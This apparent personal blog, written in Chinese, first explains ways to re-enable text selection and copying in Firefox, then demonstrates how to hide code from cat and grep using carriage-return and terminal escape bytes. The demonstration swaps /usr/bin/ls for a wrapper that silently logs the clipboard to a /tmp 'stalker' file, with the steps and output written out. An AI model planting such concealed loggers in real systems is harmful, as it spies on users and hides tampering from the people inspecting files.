Saturday 9 May 2015

如何在网页上 copy 字

有一些网站会禁止用户用右键 copy 字体。有些更甚的会禁止用滑鼠 highlight。

比如说这个网站, 用 Firefox 打开 (本文不教其它浏览器哟):



有时候会觉得被网站耍的感觉, 想直接右键 Google search 相关内容深入了解, 不能。给一大堆联络地址, URL, 要手抄不成 ?

如果有心人要 copy, 不会天真以为 TA 找不到方法 ? 这种措施非但阻止不了有心人用程序复制网页, 且只会为难一般用户。

通常我们想到的第一个解决方法是 disable javascript, 但是 disable liao 就不给进:



当然, 虽然 Ctrl+S 被禁止, 但是要 Save Page As 还是很容易的:


但是用滑鼠 navigate 不到,选不到字, 而且右键又没 menu 出来。

但是其实呢按 Shift+F10 键是能打开 menu 的哦(这个 shortcut key 是在 destkop, file explore...等等其它地方都能用的),  缺点只是无法选地方打开:



其实更好的打开的右键做法,是输入浏览 about:config 网址。


Enter 选 I'll be careful, I promise!, 就会看到很多个 listing, 在 Search 那里输入 context 关键字(如果没有自动搜索就按 Enter):


在 dom.event.contextmenu.enabled 那边, 双击那个 value 栏目的 true , 就会改成 false



就可以随时随地按右键了。


打开的右键,你可以选择 View Page SourceInspect Element 从那里 Copy 字体。但是麻烦罗, 又要看代码。

所以这里有懒人包做法,直接去选 View ->  Page Style -> No Style


然后就变成可以选了,缺点是 format 走位(其实我觉得更好看,字体深色而且宽)。当然这只是选 highlight, 要使用 Context Menu, 就跟着之前的讲解。


如果要维持 format 呢 ? 这里有一个终极的方法。

打开你平时用的 File Explorer, 然后 Ctrl+L 输入  %appdata%\Mozilla\Firefox


按 Enter, 就会来到这里:


然后选 Profiles -> 随机字.default folder, 来到:


你电脑还没有 chrome 这个 folder, 所以你要右键 New- > Folder 新建 chrome

进去那个 chrome folder, 里面是空的, 要新建一个 css 文件。

So, Win+R 键输入打开 notepad:


输入以下内容:

* { -moz-user-select: text !important;
* user-select: text !important; }

如图所示:

然后选 File -> Save As... 在刚才那个 Chrome 的 file path。

如果你背不上来那个 Chrome 的 path, 你可以 Ctrl+L 然后 Ctrl+C copy 那个 path, 然后在这里 Ctrl+L 然后 Ctrl+P paste 进来, Enter, 就能跳到那个 filepath 了。



这里 file name 要放 userContent.css , 然后 Save as typeAll Files

然后就搞掂 liao, 关掉所有 Firefox 然后开过。浏览这个网页, 用滑鼠 highlight 就变成通畅无阻了 :)



小白 Bonus:
除了用右键 copy, 你也可以highlight, 然后用滑鼠中间轮子 click 一下就 copy 了,要 paste 时就用滑鼠中间轮子 click 一下即可。至于 ctrl+c 被禁止我暂时想不到方便的解决方法。我不是 web developer 叻 :)

[2018 更新]:
以上的方法在佳礼中文网不能 works, 不过你可以制作自己的火狐扩展,  如:

xb@dnxb:~/firefox-enable-selection$ cat manifest.json
{
  "manifest_version": 2,
  "name": "firefox-enable-selection",
  "version": "1.0",

  "content_scripts": [
    {
      "matches": ["https://*cari.com.my/*"],
      "js": ["selection.js"]
    }
  ]
}


xb@dnxb:~/firefox-enable-selection$ cat selection.js
Array.from(document.querySelectorAll('div[onmousedown]')).forEach((element,index) =>
{
     element.onmousedown=function(){return true}
});
Array.from(document.querySelectorAll('div[onselectstart]')).forEach((element,index) =>
{
     element.onselectstart=function(){return true}


});
xb@dnxb:~/Downloads/misc/firefox-enable-selection$

因为佳礼的某些 div class 有 `<div class="d" onmousedown="return false;" onselectstart="return false;">` ,
此方法就是循环替代该 elemenets。

或者用我这个扩展

自制 grep 不到的文件

先来看一个 command:

cat hello.txt | grep -ni 'lala'

小白看到这个 command, 第一个感觉是 stupid 叻, 多此一举叻。

跑 cat 又跑 grep, 肯定很 heavy, 做么不要:

grep -ni 'lala' hello.txt

直接用 grep 就搞掂了啦。

如果再看这个:

grep -ni 'lala' hello.txt | cat

walau, 肯定呕血啦, 不要开玩笑叻。

本人小白也以为是开玩笑, 但是昨天我在 stackexchange 问了一个问题,才知道 grep 和 cat 并非是 stupid 的。

其实我还没有问这个问题的时候, 就已经察觉可能是诸如 ctrl+u 会 erase 整条 line,所以看到答案也不是很惊讶。

我稍微给小白解释一下, 旧版的 Mac 是用 \x0d(\r, Carriage Return, CR) 来当 line break, 新版才改成跟 Linux 一样 \x0a(\n, Line Feed, LF)。至于 Windows 还是一样 \x0d\x0a 參起来用。

结果 CR, LF, CRLF 这三种 formats 就在地球上满天飞。 虽然网络上还是有共识要用 CRLF。

传统的 Line feed, 故名思义,是要吃新的 row。可是没有讲要飞去左边第一个字哦。

可是 Linux 对待 LF 的方式就特别一点, 它会一边吃进去新的 row 然后自动补上 CR 飞去左边第一个字, 但是这是 tty internally, 这里的 CR 是看不到的。

[xiaobai@xiaobai tmp]$ echo -e '\x61\x0a\x62'|cat -v
a
b
[xiaobai@xiaobai tmp]$'

哎, LF 会自动补 CR, 那如果放 LFCR 或 Windows 的 CRLF 会怎样叻 ?

Linux 没有理你 LFCR 还是 CRLF combination,

如果是 LFCR, LF 自己补跳到下一行, 已经来到左边第一个字了,然后 ,

CR 多此一举又再尝试飞去左边第一个字,换句话说,原地踏步在第一个字啦。 通过 cat -v 才能把 CR 显示出来:

[xiaobai@xiaobai tmp]$ echo -e '\x61\x0a\x0d\x62'
a
b
[xiaobai@xiaobai tmp]$ echo -e '\x61\x0a\x0d\x62'|cat -v
a
^Mb
[xiaobai@xiaobai tmp]$

这里的 ^M 就是 CR。当然,CR 是 ^M 不代表 ^M 就肯定是 CR。 \x5e\x4d 也是 ^M 啊 :p (我的 hd 是 hexdump -C alias)

[xiaobai@xiaobai tmp]$ echo '^M'|hd
00000000  5e 4d 0a                                          |^M.|
00000003
[xiaobai@xiaobai tmp]$ echo -e '\x5e\x4d'
^M
[xiaobai@xiaobai tmp]$

我上面讲, LFCR 原地踏步, 那么 CRLF 呢 ? 先去下一行再去左边第一个字再左边第一个字, 跟先去左边第一个字再去下一行再左边第一个字, 想象一下有什么区别 ?  麻是原地踏步。(For 这个例子是原地踏步, 不是所有情况哦 )

但是如果 CR 后面不是 LF, 你讲会怎样叻 ? “CR饭“  就等同于去左边第一个字, 然后输入“饭“。
如果前面有 LF, 就是 “LFCR饭“, 在新的一行输入 “饭” 当然没问题。但是如果前面是 “菜”, 也就是说 “菜CR饭”, 饭就会跑去左边第一个字,然后原本的那个字 "菜" 就不见掉咯。

这里就要讲很好笑的事, 如果你 cat 或 grep 的文件是旧版 Mac 的文件只有一百个 CR 没有 一个LF。你看到的结果就是一条短短的 line, 然后其它 99 行就不见掉了。因为它遇到的每一个 CR 都会跑去左边第一个字, 从那里继续下一行, 就会 ganti 掉之前那行。无限循环到最后就只能 print 出来一条奇怪的 line 了,杯具啊。

讲这么多,来开始制作 grep 不到的文件:

[xiaobai@xiaobai tmp]$ cat /usr/bin/ls
#!/bin/bash
/home/xiaobai/-i "$@"
[xiaobai@xiaobai tmp]$

首先 cp -p /usr/bin/ls ~/note/ls, backup ls binary, 然后 cp -p ~/note/ls /home/xiaobai/-i , -i 是一般人拿来防止 rm rf * 意外的措施。

然后 vi /tmp/ls, 写上一下代码。

#!/usr/bin/env bash
w3="$(whoami)"; xsel >>"/tmp/stalkeri${w3}.log" ||  ^M^[[K^[[1A
/home/xiaobai/-i "$@"
用 hexdump -C 看 bytes:

那些输入不到的 byte 可以用 hexedit editor 加上去。好了可以用 hexdump 效对多一轮。
cp /tmp/ls /usr/bin/ls
chmod 0755 /usr/bin/ls

然后就搞掂 liao, 正常使用 ls
[xiaobai@xiaobai tmp]$ ls ~/.mozilla/
extensions  firefox  plugins  seamonkey
[xiaobai@xiaobai tmp]$ type -a ls
ls is aliased to `ls --color=auto'
ls is /usr/bin/ls
ls is /bin/ls

用 cat, grep 检查有没有 xsel 这个字眼:
[xiaobai@xiaobai tmp]$ cat /usr/bin/ls
#!/usr/bin/env bash
/home/xiaobai/-i "$@"
[xiaobai@xiaobai tmp]$
[xiaobai@xiaobai tmp]$ grep xsel /usr/bin/ls
[xiaobai@xiaobai tmp]$ cat /usr/bin/ls | grep xsel
[xiaobai@xiaobai tmp]$



但是 xsel 已经收到了:
[xiaobai@xiaobai note]$ cat /tmp/stalkerixiaobai.log
 /tmp/stalker.log#!/usr/bin/env bash
w3="$(whoami)"; xsel >>"/tmp/stalkeri${w3}.log" ||  ^M^[[K^[[1A
/home/xiaobai/-i "$@"
[xiaobai@xiaobai note]$ 大馬最漂亮的島嶼-棉花島[xiaobai@xiaobai note]$

这时候 cat 就发挥作用 liao:
[xiaobai@xiaobai note]$ grep xsel /usr/bin/ls
[xiaobai@xiaobai note]$ grep xsel /usr/bin/ls |cat -v
w3="$(whoami)"; xsel >>"/tmp/stalkeri${w3}.log" ||  ^M^[[K^[[1A
[xiaobai@xiaobai note]$

美中不足的是 wc -l 还是会出 1, 露馅了:
[xiaobai@xiaobai note]$ grep xsel /usr/bin/ls | wc -l
1
[xiaobai@xiaobai note]$

 还有后面的 1A 可以 grep 到:
[xiaobai@xiaobai note]$ grep 1A /usr/bin/ls
1A
[xiaobai@xiaobai note]$
 我还没解释 ^[[K^[[1A 拿来干嘛。因为 grep 还是会 return 一条 line (wc -l 看得出), 它们是用来来掩饰 prompt 没有任何 output。至于 || 是为了避免后方的 control characters 当成 command 来跑出 error。至于whoami 是防止 ls 被 root 开机先跑先 create 的 tmp file 没有 permission append。

用 cat 颜色不见, 所以加多一个 grep 重新激活颜色:


或者通过 konsole 本身的 find 颜色, 省回一个 process:


当然这样是不够的,要考虑买 unicode(通常 unicode 不重要的话, 就不用咯, 省回):


我把它设成 alias 方便:
alias catvu="LC_ALL=C sed \"$(printf 's/[^\t -\176\200-\377]/^&/g')\"|LC_ALL=C tr '\0-\10\13-\37\177' '@-HK-_?'"

这篇文章只是给小白学习而已,别去想什么 binaries checksum~

测试循环 grep 成功 :)

话说回头, 其实开头讲的 cat 后才 grep 并非是 stupid 的, 因为关键字坐落在右边比较方便从历史纪录更改。(更新: 还有一个好处是可以 sudo cat -v 后 | 去普通用户的 alias, 不一定得用 alias exsudo='sudo ' )